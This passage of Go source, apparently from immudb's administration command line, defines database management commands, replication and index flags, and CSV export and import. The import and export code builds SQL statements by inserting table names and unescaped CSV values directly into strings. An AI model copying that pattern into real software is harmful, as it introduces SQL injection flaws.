replication\")\n\n\tc.Flags().Uint32(\"indexing-flush-threshold\", tbtree.DefaultFlushThld, \"number of new index entries between disk flushes\")\n\tc.Flags().Float32(\"indexing-cleanup-percentage\", tbtree.DefaultCleanUpPercentage, \"percentage of node files cleaned up during each flush\")\n\tc.Flags().Uint32(\"indexing-sync-threshold\", tbtree.DefaultSyncThld, \"number of new index entries between disk flushes with file sync\")\n\tc.Flags().Uint32(\"indexing-cache-size\", tbtree.DefaultCacheSize, \"size of the Btree node cache (number of nodes)\")\n\tc.Flags().Uint32(\"indexing-max-active-snapshots\", tbtree.DefaultMaxActiveSnapshots, \"maximum number of active btree snapshots\")\n\n\tc.Flags().Uint32(\"write-tx-header-version\", 1, \"set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)\")\n\tc.Flags().Uint32(\"max-commit-concurrency\", store.DefaultMaxConcurrency, \"set the maximum commit concurrency\")\n\tc.Flags().Duration(\"sync-frequency\", store.DefaultSyncFrequency, \"set the fsync frequency during commit process\")\n\tc.Flags().Uint32(\"write-buffer-size\", store.DefaultWriteBufferSize, \"set the size of in-memory buffers for file abstractions\")\n\tc.Flags().Uint32(\"read-tx-pool-size\", database.DefaultReadTxPoolSize, \"set transaction read pool size (used for reading transaction objects)\")\n\tc.Flags().Bool(\"autoload\", true, \"enable database autoloading\")\n\tc.Flags().Duration(\"retention-period\", 0, \"duration of time to retain data in storage\")\n\tc.Flags().Duration(\"truncation-frequency\", database.DefaultTruncationFrequency, \"set the truncation frequency for the database\")\n\n\tflagNameMapping := map[string]string{\n\t\t\"replication-enabled\":           \"replication-is-replica\",\n\t\t\"replication-follower-username\": \"replication-primary-username\",\n\t\t\"replication-follower-password\": \"replication-primary-password\",\n\t\t\"replication-master-database\":   \"replication-primary-database\",\n\t\t\"replication-master-address\":    \"replication-primary-host\",\n\t\t\"replication-master-port\":       \"replication-primary-port\",\n\t}\n\n\tc.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\t\tif newName, ok := flagNameMapping[name]; ok {\n\t\t\tname = newName\n\t\t}\n\t\treturn pflag.NormalizedName(name)\n\t})\n}\n\nfunc (cl *commandline) database(cmd *cobra.Command) {\n\tdbCmd := &cobra.Command{\n\t\tUse:               \"database\",\n\t\tShort:             \"Issue all database commands\",\n\t\tAliases:           []string{\"d\"},\n\t\tPersistentPostRun: cl.disconnect,\n\t\tValidArgs:         []string{\"list\", \"create\", \"load\", \"unload\", \"delete\", \"update\", \"use\", \"flush\", \"compact\", \"truncate\"},\n\t}\n\n\tlistCmd := &cobra.Command{\n\t\tUse:               \"list\",\n\t\tShort:             \"List all databases\",\n\t\tAliases:           []string{\"l\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immuClient.DatabaseListV2(cl.context)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tc.PrintTable(\n\t\t\t\tcmd.OutOrStdout(),\n\t\t\t\t[]string{\"Database Name\", \"Created At\", \"Created By\", \"Status\", \"Is Replica\", \"Disk Size\", \"Transactions\"},\n\t\t\t\tlen(resp.Databases),\n\t\t\t\tfunc(i int) []string {\n\t\t\t\t\trow := make([]string, 7)\n\n\t\t\t\t\tdb := resp.Databases[i]\n\n\t\t\t\t\tif cl.options.CurrentDatabase == db.Name {\n\t\t\t\t\t\trow[0] += \"*\"\n\t\t\t\t\t}\n\t\t\t\t\trow[0] += db.Name\n\n\t\t\t\t\trow[1] = time.Unix(int64(db.CreatedAt), 0).Format(\"2006-01-02\")\n\t\t\t\t\trow[2] = db.CreatedBy\n\n\t\t\t\t\tif db.GetLoaded() {\n\t\t\t\t\t\trow[3] += \"LOADED\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\trow[3] += \"UNLOADED\"\n\t\t\t\t\t}\n\n\t\t\t\t\tisReplica := db.Settings.ReplicationSettings.Replica != nil && db.Settings.ReplicationSettings.Replica.Value\n\n\t\t\t\t\trow[4] = strings.ToUpper(strconv.FormatBool(isReplica))\n\t\t\t\t\trow[5] = helper.FormatByteSize(db.DiskSize)\n\t\t\t\t\trow[6] = strconv.FormatUint(db.NumTransactions, 10)\n\n\t\t\t\t\treturn row\n\t\t\t\t},\n\t\t\t\tfmt.Sprintf(\"%d database(s)\", len(resp.Databases)),\n\t\t\t)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\n\tcreateCmd := &cobra.Command{\n\t\tUse:               \"create\",\n\t\tShort:             \"Create a new database\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tExample:           \"create {database_name}\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tsettings, err := prepareDatabaseNullableSettings(cmd.Flags())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t_, err = cl.immuClient.CreateDatabaseV2(cl.context, args[0], settings)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' {%s} successfully created\\n\",\n\t\t\t\targs[0], databaseNullableSettingsStr(settings))\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\taddDbUpdateFlags(createCmd)\n\n\tloadCmd := &cobra.Command{\n\t\tUse:               \"load\",\n\t\tShort:             \"Load database\",\n\t\tExample:           \"load {database_name}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\t_, err := cl.immuClient.LoadDatabase(cl.context, &schema.LoadDatabaseRequest{\n\t\t\t\tDatabase: args[0],\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' successfully loaded\\n\", args[0])\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\n\tunloadCmd := &cobra.Command{\n\t\tUse:               \"unload\",\n\t\tShort:             \"Unload database\",\n\t\tExample:           \"unload {database_name}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\t_, err := cl.immuClient.UnloadDatabase(cl.context, &schema.UnloadDatabaseRequest{\n\t\t\t\tDatabase: args[0],\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' successfully unloaded\\n\", args[0])\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\n\tdeleteCmd := &cobra.Command{\n\t\tUse:               \"delete\",\n\t\tShort:             \"Delete database (unrecoverable operation)\",\n\t\tExample:           \"delete --yes-i-know-what-i-am-doing {database_name}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tsafetyFlag, err := cmd.Flags().GetBool(\"yes-i-know-what-i-am-doing\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif !safetyFlag {\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' was not deleted. Safety flag not set\\n\", args[0])\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t_, err = cl.immuClient.DeleteDatabase(cl.context, &schema.DeleteDatabaseRequest{\n\t\t\t\tDatabase: args[0],\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' successfully deleted\\n\", args[0])\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tdeleteCmd.Flags().Bool(\"yes-i-know-what-i-am-doing\", false, \"safety flag to confirm database deletion\")\n\tdeleteCmd.MarkFlagRequired(\"yes-i-know-what-i-am-doing\")\n\n\tupdateCmd := &cobra.Command{\n\t\tUse:               \"update\",\n\t\tShort:             \"Update database\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tExample:           \"update {database_name}\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tsettings, err := prepareDatabaseNullableSettings(cmd.Flags())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif _, err := cl.immuClient.UpdateDatabaseV2(cl.context, args[0], settings); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(),\n\t\t\t\t\"database '%s' {%s} successfully updated\\n\",\n\t\t\t\targs[0], databaseNullableSettingsStr(settings))\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\taddDbUpdateFlags(updateCmd)\n\n\tuseCmd := &cobra.Command{\n\t\tUse:               \"use\",\n\t\tShort:             \"Select database\",\n\t\tExample:           \"use {database_name}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tValidArgs:         []string{\"databasename\"},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{\n\t\t\t\tDatabaseName: args[0],\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcl.immuClient.GetOptions().CurrentDatabase = args[0]\n\t\t\tif err = cl.ts.SetToken(args[0], resp.Token); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"now using database '%s'\\n\", args[0])\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MaximumNArgs(2),\n\t}\n\n\tflushCmd := &cobra.Command{\n\t\tUse:               \"flush\",\n\t\tShort:             \"Flush database index\",\n\t\tExample:           \"flush\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tcleanupPercentage, err := cmd.Flags().GetFloat32(\"cleanup-percentage\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsynced, err := cmd.Flags().GetBool(\"synced\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t_, err = cl.immuClient.FlushIndex(cl.context, cleanupPercentage, synced)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database index successfully flushed\\n\")\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\tflushCmd.Flags().Float32(\"cleanup-percentage\", 0.00, \"set cleanup percentage\")\n\tflushCmd.Flags().Bool(\"synced\", true, \"synced mode enables physical data deletion\")\n\n\tcompactCmd := &cobra.Command{\n\t\tUse:               \"compact\",\n\t\tShort:             \"Compact database index\",\n\t\tExample:           \"compact\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\terr := cl.immuClient.CompactIndex(cl.context, &emptypb.Empty{})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database index successfully compacted\\n\")\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\n\ttruncateCmd := &cobra.Command{\n\t\tUse:               \"truncate\",\n\t\tShort:             \"Truncate database (unrecoverable operation)\",\n\t\tExample:           \"truncate --yes-i-know-what-i-am-doing {database_name} --retention-period {retention_period}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tsafetyFlag, err := cmd.Flags().GetBool(\"yes-i-know-what-i-am-doing\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif !safetyFlag {\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' was not truncated. Safety flag not set\\n\", args[0])\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tretentionPeriod, err := cmd.Flags().GetDuration(\"retention-period\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"truncating database '%s' up to retention period '%s'...\\n\", args[0], retentionPeriod.String())\n\n\t\t\terr = cl.immuClient.TruncateDatabase(cl.context, args[0], retentionPeriod)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"database '%s' successfully truncated\\n\", args[0])\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\taddDbTruncateFlags(truncateCmd)\n\n\tdbCmd.AddCommand(listCmd)\n\tdbCmd.AddCommand(createCmd)\n\tdbCmd.AddCommand(loadCmd)\n\tdbCmd.AddCommand(unloadCmd)\n\tdbCmd.AddCommand(deleteCmd)\n\tdbCmd.AddCommand(useCmd)\n\tdbCmd.AddCommand(updateCmd)\n\tdbCmd.AddCommand(flushCmd)\n\tdbCmd.AddCommand(compactCmd)\n\tdbCmd.AddCommand(truncateCmd)\n\tdbCmd.AddCommand(cl.createExportCmd())\n\tdbCmd.AddCommand(cl.createImportCmd())\n\n\tcmd.AddCommand(dbCmd)\n}\n\nfunc (cl *commandline) createExportCmd() *cobra.Command {\n\texportCmd := &cobra.Command{\n\t\tUse:               \"export\",\n\t\tShort:             \"Dump an SQL table to a CSV file\",\n\t\tAliases:           []string{\"e\"},\n\t\tArgAliases:        []string{\"table\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\ttable := args[0]\n\n\t\t\toutputPath, _ := cmd.Flags().GetString(\"o\")\n\t\t\tif outputPath == \"\" {\n\t\t\t\twd, err := os.Getwd()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\toutputPath = path.Join(wd, table) + \".csv\"\n\t\t\t}\n\n\t\t\treader, err := cl.immuClient.SQLQueryReader(cl.context, fmt.Sprintf(\"SELECT * FROM %s\", table), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer reader.Close()\n\n\t\t\tcsvFile, err := os.Create(outputPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer csvFile.Close()\n\n\t\t\tsep, err := cmd.Flags().GetString(\"s\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(sep) != 1 {\n\t\t\t\treturn fmt.Errorf(\"invalid separator\")\n\t\t\t}\n\n\t\t\twriter := csv.NewWriter(csvFile)\n\t\t\twriter.Comma = rune(sep[0])\n\t\t\twriter.UseCRLF = true\n\t\t\tdefer writer.Flush()\n\n\t\t\tcols := reader.Columns()\n\n\t\t\tcolNames := make([]string, len(cols))\n\t\t\tfor i, col := range cols {\n\t\t\t\tcolNames[i] = formatColName(col.Name)\n\t\t\t}\n\n\t\t\tif err := writer.Write(colNames); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tout := make([]string, len(cols))\n\t\t\tfor reader.Next() {\n\t\t\t\trow, err := reader.Read()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif err := rowToCSV(row, cols, out); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif err := writer.Write(out); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn writer.Error()\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\texportCmd.Flags().String(\"o\", \"\", \"output\")\n\texportCmd.Flags().String(\"s\", \",\", \"separator\")\n\n\treturn exportCmd\n}\n\nfunc rowToCSV(row client.Row, cols []client.Column, out []string) error {\n\tfor i, v := range row {\n\t\tcolType := cols[i].Type\n\t\trv, err := renderValue(v, colType)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tout[i] = rv\n\t}\n\treturn nil\n}\n\nfunc renderValue(v interface{}, colType string) (string, error) {\n\tswitch colType {\n\tcase sql.VarcharType, sql.JSONType, sql.UUIDType:\n\t\ts, isStr := v.(string)\n\t\tif !isStr {\n\t\t\treturn \"\", fmt.Errorf(\"invalid value received\")\n\t\t}\n\t\treturn s, nil\n\tdefault:\n\t\tsqlVal, err := schema.AsSQLValue(v)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn schema.RenderValue(sqlVal.Value), nil\n\t}\n}\n\nfunc (cl *commandline) createImportCmd() *cobra.Command {\n\timportCmd := &cobra.Command{\n\t\tUse:               \"import\",\n\t\tShort:             \"Insert data to an existing table from a csv file\",\n\t\tAliases:           []string{\"i\"},\n\t\tArgAliases:        []string{\"file\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tinputPath := args[0]\n\n\t\t\tcsvFile, err := os.Open(inputPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer csvFile.Close()\n\n\t\t\tsep, err := cmd.Flags().GetString(\"s\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(sep) != 1 {\n\t\t\t\treturn fmt.Errorf(\"invalid separator\")\n\t\t\t}\n\n\t\t\treader := csv.NewReader(csvFile)\n\t\t\treader.Comma = rune(sep[0])\n\t\t\treader.ReuseRecord = true\n\n\t\t\thasHeader, err := cmd.Flags().GetBool(\"h\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ttable, err := cmd.Flags().GetString(\"t\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif table == \"\" {\n\t\t\t\treturn fmt.Errorf(\"table name not specified\")\n\t\t\t}\n\n\t\t\tif hasHeader {\n\t\t\t\t_, err := reader.Read()\n\t\t\t\tif err != nil && err != io.EOF {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// fetch column information\n\t\t\tres, err := cl.immuClient.SQLQuery(cl.context, fmt.Sprintf(\"SELECT * FROM %s WHERE 1 = 0\", table), nil, false)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcols := make([]string, len(res.Columns))\n\t\t\tfor i, col := range res.Columns {\n\t\t\t\tcols[i] = formatColName(col.Name)\n\t\t\t}\n\n\t\t\trow, err := reader.Read()\n\t\t\tfor err == nil {\n\t\t\t\tif len(row) != len(cols) {\n\t\t\t\t\treturn fmt.Errorf(\"wrong number of columns\")\n\t\t\t\t}\n\n\t\t\t\tfor i, v := range row {\n\t\t\t\t\trow[i] = formatInsertValue(v, res.Columns[i].Type)\n\t\t\t\t}\n\n\t\t\t\t_, err = cl.immuClient.SQLExec(\n\t\t\t\t\tcl.context,\n\t\t\t\t\tfmt.Sprintf(\"INSERT INTO %s(%s) VALUES (%s)\", table, strings.Join(cols, \",\"), strings.Join(row, \",\")),\n\t\t\t\t\tnil,\n\t\t\t\t)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\trow, err = reader.Read()\n\t\t\t}\n\t\t\tif err != io.EOF {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\timportCmd.Flags().String(\"t\", \"\", \"table\")\n\timportCmd.Flags().Bool(\"h\", true, \"interpret the first column as header\")\n\timportCmd.Flags().String(\"s\", \",\", \"separator\")\n\n\treturn importCmd\n}\n\nfunc formatColName(col string) string {\n\tidx := strings.Index(col, \".\")\n\tif idx >= 0 {\n\t\treturn col[idx+1 : len(col)-1]\n\t}\n\treturn col\n}\n\nfunc formatInsertValue(v string, colType string) string {\n\tif v == \"NULL\" {\n\t\treturn v\n\t}\n\n\tswitch colType {\n\tcase sql.VarcharType:\n\t\treturn fmt.Sprintf(\"'%s'\", v)\n\tcase sql.TimestampType, sql.JSONType, sql.UUIDType:\n\t\treturn fmt.Sprintf(\"CAST ('%s' AS %s)\", v, colType)\n\tcase sql.BLOBType:\n\t\treturn fmt.Sprintf(\"x'%s'\", v)\n\t}\n\treturn v\n}\n\nfunc prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNullableSettings, error) {\n\tvar err error\n\n\tcondBool := func(name string) (*schema.NullableBool, error) {\n\t\tif flags.Changed(name) {\n\t\t\tval, err := flags.GetBool(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &schema.NullableBool{Value: val}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\tcondString := func(name string) (*schema.NullableString, error) {\n\t\tif flags.Changed(name) {\n\t\t\tval, err := flags.GetString(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &schema.NullableString{Value: val}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\tcondUInt32 := func(name string) (*schema.NullableUint32, error) {\n\t\tif flags.Changed(name) {\n\t\t\tval, err := flags.GetUint32(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &schema.NullableUint32{Value: val}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\tcondFloat32 := func(name string) (*schema.NullableFloat, error) {\n\t\tif flags.Changed(name) {\n\t\t\tval, err := flags.GetFloat32(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &schema.NullableFloat{Value: val}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\tcondDuration := func(name string) (*schema.NullableMilliseconds, error) {\n\t\tif flags.Changed(name) {\n\t\t\tval, err := flags.GetDuration(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &schema.NullableMilliseconds{Value: val.Milliseconds()}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\tret := &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{},\n\t\tIndexSettings:       &schema.IndexNullableSettings{},\n\t}\n\n\tret.ExcludeCommitTime, err = condBool(\"exclude-commit-time\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.EmbeddedValues, err = condBool(\"embedded-values\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.PreallocFiles, err = condBool(\"prealloc-files\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.Replica, err = condBool(\"replication-is-replica\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.SyncReplication, err = condBool(\"replication-sync-enabled\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.SyncAcks, err = condUInt32(\"replication-sync-acks\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrimaryDatabase, err = condString(\"replication-primary-database\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrimaryHost, err = condString(\"replication-primary-host\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrimaryPort, err = condUInt32(\"replication-primary-port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrimaryUsername, err = condString(\"replication-primary-username\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrimaryPassword, err = condString(\"replication-primary-password\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.PrefetchTxBufferSize, err = condUInt32(\"replication-prefetch-tx-buffer-size\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.ReplicationCommitConcurrency, err = condUInt32(\"replication-commit-concurrency\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.AllowTxDiscarding, err = condBool(\"replication-allow-tx-discarding\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.SkipIntegrityCheck, err = condBool(\"replication-skip-integrity-check\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReplicationSettings.WaitForIndexing, err = condBool(\"replication-wait-for-indexing\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.IndexSettings.FlushThreshold, err = condUInt32(\"indexing-flush-threshold\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.IndexSettings.CleanupPercentage, err = condFloat32(\"indexing-cleanup-percentage\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.IndexSettings.SyncThreshold, err = condUInt32(\"indexing-sync-threshold\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.IndexSettings.CacheSize, err = condUInt32(\"indexing-cache-size\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.IndexSettings.MaxActiveSnapshots, err = condUInt32(\"indexing-max-active-snapshots\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.WriteTxHeaderVersion, err = condUInt32(\"write-tx-header-version\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.MaxConcurrency, err = condUInt32(\"max-commit-concurrency\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.SyncFrequency, err = condDuration(\"sync-frequency\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.WriteBufferSize, err = condUInt32(\"write-buffer-size\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.ReadTxPoolSize, err = condUInt32(\"read-tx-pool-size\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.Autoload, err = condBool(\"autoload\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tretentionPeriod, err := condDuration(\"retention-period\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttruncationFrequency, err := condDuration(\"truncation-frequency\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif retentionPeriod != nil || truncationFrequency != nil {\n\t\tret.TruncationSettings = &schema.TruncationNullableSettings{\n\t\t\tRetentionPeriod:     retentionPeriod,\n\t\t\tTruncationFrequency: truncationFrequency,\n\t\t}\n\t}\n\n\treturn ret, nil\n}\n\nfunc databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) string {\n\tpropertiesStr := []string{}\n\n\tif settings.ReplicationSettings != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"replica: %v\", settings.ReplicationSettings.Replica.GetValue()))\n\t}\n\n\tif settings.ExcludeCommitTime != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"exclude-commit-time: %v\", settings.ExcludeCommitTime.GetValue()))\n\t}\n\n\tif settings.EmbeddedValues != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"embedded-values: %v\", settings.EmbeddedValues.GetValue()))\n\t}\n\n\tif settings.PreallocFiles != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"prealloc-files: %v\", settings.PreallocFiles.GetValue()))\n\t}\n\n\tif settings.WriteTxHeaderVersion != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"write-tx-header-version: %d\", settings.WriteTxHeaderVersion.GetValue()))\n\t}\n\n\tif settings.MaxConcurrency != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"max-commit-concurrency: %d\", settings.GetMaxConcurrency().GetValue()))\n\t}\n\n\tif settings.SyncFrequency != nil {\n\t\tsyncFreq := time.Duration(settings.GetSyncFrequency().GetValue()) * time.Millisecond\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"sync-frequency: %v\", syncFreq))\n\t}\n\n\tif settings.WriteBufferSize != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"write-buffer-size: %d\", settings.GetWriteBufferSize().GetValue()))\n\t}\n\n\tif settings.ReadTxPoolSize != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"read-tx-pool-size: %d\", settings.GetMaxConcurrency().GetValue()))\n\t}\n\n\tif settings.Autoload != nil {\n\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"autoload: %v\", settings.Autoload.GetValue()))\n\t}\n\n\tif settings.TruncationSettings != nil {\n\t\tif settings.TruncationSettings.RetentionPeriod != nil {\n\t\t\tretDur := time.Duration(settings.TruncationSettings.GetRetentionPeriod().GetValue()) * time.Millisecond\n\t\t\tpropertiesStr = append(propertiesStr, fmt.Sprintf(\"retention-period: 